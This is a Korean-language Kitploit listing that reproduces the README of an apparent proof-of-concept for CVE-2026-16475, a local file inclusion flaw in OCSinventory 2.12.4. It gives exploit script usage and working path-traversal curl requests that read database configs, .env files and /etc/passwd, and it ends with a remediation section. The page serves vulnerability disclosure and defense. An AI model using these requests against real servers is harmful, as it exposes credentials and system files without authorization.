Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-16475-PoC — 이것은 OCSinventory 2.12.4의 LFI 취약점인 CVE-2026-16475의 PoC가 포함된 공식 저장소입니다. | Kitploit
도구/GitHubGitHub/afertar/cve-2026-16475-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubafertar/cve-2026-16475-poc

CVE-2026-16475-PoC

이것은 OCSinventory 2.12.4의 LFI 취약점인 CVE-2026-16475의 PoC가 포함된 공식 저장소입니다.

저장소 보기
22일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-16475 - OCSinventory LFI PoC

OCSinventory 2.12.4의 로컬 파일 포함(LFI) 취약점

취약점 상세 정보

CVE ID: CVE-2026-16475
CVSS 점수: 6.9 (중간)
CWE: CWE-98 (PHP 프로그램에서 Include/Require 문의 파일명 제어 불량)
영향받는 버전: OCSinventory 2.12.4
상태: 최신 버전에서 패치됨

설명

/ajax/teledeployoptions.php 엔드포인트에는 동적 XML 파일 포함 작업에서 linkedoptions 매개변수를 사용하기 전에 제대로 검증하지 않아 발생하는 로컬 파일 포함(LFI) 취약점이 존재합니다.

이 엔드포인트는 XML 구성 파일을 로드하도록 설계되었지만 linkedoptions 매개변수를 제대로 검증하지 못해 경로 탐색(path traversal) 공격이 가능합니다.

인증되지 않은 원격 공격자는 이 취약점을 악용하여 다음을 수행할 수 있습니다:

  • 애플리케이션 디렉터리 내의 임의 XML 파일 포함 및 접근
  • XML 파서 오류 메시지를 통한 비XML 파일 읽기
  • 내부 애플리케이션 리소스에 대한 민감한 정보 노출
  • 시스템 파일 열거 및 OS 핑거프린팅 수행

영향

  • 기밀성: 높음 - 임의 파일 접근 (구성 파일, 소스 코드, 로그, 시스템 파일)
  • 무결성: 없음
  • 가용성: 없음
  • 인증 필요: 아니요
  • 사용자 상호작용: 아니요

사용 방법

사전 요구 사항

root@kitploit:~
pip install -r requirements.txt

Python 버전 (권장)

root@kitploit:~
python3 exploit.py -u http://target.com -v

옵션:

  • -u, --url - 대상 URL (필수)
  • -v, --verbose - 상세 출력
  • -o, --output - 성공적으로 읽은 결과를 파일로 저장

예시:

root@kitploit:~
python3 exploit.py -u http://ocs.example.com -v -o results.txt

Bash 버전

root@kitploit:~
./lfi_test.sh

스크립트에서 BASE_URL 변수를 편집하세요:

root@kitploit:~
BASE_URL="http://target.com/ajax/teledeployoptions.php"

열거 대상

  • 애플리케이션 구성 파일 (dbconfig.inc, .env, config.inc)
  • XML 작업 파일 (bashscriptopt, executableopt, msiapplicationopt)
  • 시스템 로그 (apache2, mysql, auth)
  • 시스템 파일 (/proc/, /etc/)
  • 애플리케이션 비밀 정보 (composer, 패키지 파일, .htaccess)

악용 예시

root@kitploit:~
# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

해결 방법

사용자:

  • OCSinventory를 즉시 최신 버전으로 업데이트
  • 디렉터리 탐색 패턴을 차단하는 WAF 규칙 구현

개발자:

  • 경로 탐색을 방지하기 위해 basename() 또는 유사한 함수 사용
  • 파일 작업 전에 모든 사용자 입력 검증 및 정화
  • 적절한 접근 제어 구현
  • 유효한 파일 경로에 대한 허용 목록(allow-list) 사용

참고 자료

  • INCIBE 권고 (ES) - 공식 CVE 조정 기관
  • OCS Inventory GitHub
  • OWASP 경로 탐색
  • CWE-98 정의

참고: CVE-2026-16475는 INCIBE를 통해 조정되며 아직 NVD에 색인되지 않았을 수 있습니다. 정확한 정보는 INCIBE 소스를 확인하세요.

법적 고지

교육 및 승인된 테스트 전용

전체 법적 고지는 DISCLAIMER.md를 참조하세요.

작성자

Adrián Ferrer Tarí


INCIBE를 통한 책임 있는 공개 조정

도구 다운로드